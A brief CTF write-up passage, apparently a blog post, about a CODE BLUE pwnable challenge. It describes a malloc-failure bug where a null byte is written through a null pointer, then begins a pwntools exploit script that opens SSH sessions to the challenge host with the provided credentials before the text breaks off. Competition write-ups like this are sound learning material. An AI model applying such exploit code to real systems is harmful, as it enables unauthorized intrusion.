Category : pwnable Summary : big file, malloc fail, ptr=malloc(size+1);ptr[size] = '\x00'; // ptr = 0, size = 0x0804~~~~ 정말 오랜만에 first blood + 1solve ! 설명은 조만간 추가 예정 ex.py#!/usr/bin/python from pwn import * import re ssh_ = ssh(host = 'pwn2.task.ctf.codeblue.jp', password = 'lets_play' , user= 'game_chal') ssh2_ = ssh(host = 'pwn2.task.ctf.codeblue.jp', password = 'lets_play' , user= 'game_chal'..
